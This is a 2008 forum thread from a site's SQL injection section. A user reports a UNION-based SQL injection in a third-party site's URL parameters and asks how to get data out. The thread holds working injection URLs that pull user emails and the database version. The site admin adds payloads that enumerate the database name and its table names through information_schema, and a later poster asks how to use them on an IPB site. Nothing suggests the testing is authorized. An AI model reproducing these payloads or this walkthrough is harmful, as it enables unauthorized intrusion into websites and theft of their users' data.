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www.waraxe.us Forum Index -> Sql injection -> Found Sql Injection, Don't Know tables name's Help!
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Found Sql Injection, Don't Know tables name's Help!
PostPosted: Sun Oct 12, 2008 5:50 am Reply with quote
Cablekid
Advanced user
Advanced user
 
Joined: Jul 14, 2007
Posts: 85




Alright i find an injection.

But i don't know how many tables their are or all of their names.


Alright i use to get this message, intill i just kept putting null,null,null

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
graphics_index.php on line 57
The used SELECT statements have a different number of columns

Then it shows the pages and it only had this message

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
graphics_index.php on line 57

So i guess i found the right number or of tables.

But my sql injection wont display any of the info from the db on the page?

The sql inejction is in the cat id

http://localhost.com/graphics_index.php?pageNum_lays=1&totalRows_lays=2707&cat=-3+UNION+ALL+SELECT+email,null,null,null,null,null,null,null,null,null+from+users
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PostPosted: Sun Oct 12, 2008 5:05 pm Reply with quote
Cablekid
Advanced user
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Joined: Jul 14, 2007
Posts: 85




Okay! New Details found!

I found a different page, and the results this time show up in a txt box.

But my query dose not display a result, if i do

http://localhost.com/usercp.php?id=graphic_pending&editpend=-3+UNION+ALL+SELECT+null,null,null,null,null,null,null,null,null,version()

It says 5.0.67-log
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PostPosted: Sun Oct 12, 2008 5:17 pm Reply with quote
waraxe
Site admin
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




You can use information_schema.
First fetch database name:

Code:

http://localhost.com/usercp.php?id=graphic_pending&editpend=-3+UNION+ALL+SELECT+null,null,null,null,null,null,null,null,null,DATABASE()


Then you can get table names one-by-one:

Code:

http://localhost.com/usercp.php?id=graphic_pending&editpend=-3+UNION+ALL+SELECT+null,null,null,null,null,null,null,null,null,table_name+FROM+information_schema.tables+WHERE+table_schema='database_name_here'+ORDER+BY+table_name+DESC+LIMIT+1,1
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PostPosted: Mon Oct 13, 2008 7:56 pm Reply with quote
Cablekid
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Joined: Jul 14, 2007
Posts: 85




Thanks! Got it!
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PostPosted: Fri Oct 24, 2008 7:48 pm Reply with quote
musc
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Joined: Sep 24, 2008
Posts: 3




waraxe wrote:
You can use information_schema.
First fetch database name:

Code:

http://localhost.com/usercp.php?id=graphic_pending&editpend=-3+UNION+ALL+SELECT+null,null,null,null,null,null,null,null,null,DATABASE()


Then you can get table names one-by-one:

Code:

http://localhost.com/usercp.php?id=graphic_pending&editpend=-3+UNION+ALL+SELECT+null,null,null,null,null,null,null,null,null,table_name+FROM+information_schema.tables+WHERE+table_schema='database_name_here'+ORDER+BY+table_name+DESC+LIMIT+1,1


Hello.In a site with ipb,when i put that it showed me this error:
mySQL error: The used SELECT statements have a different number of columns

What can I do to get table names?
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Found Sql Injection, Don't Know tables name's Help!
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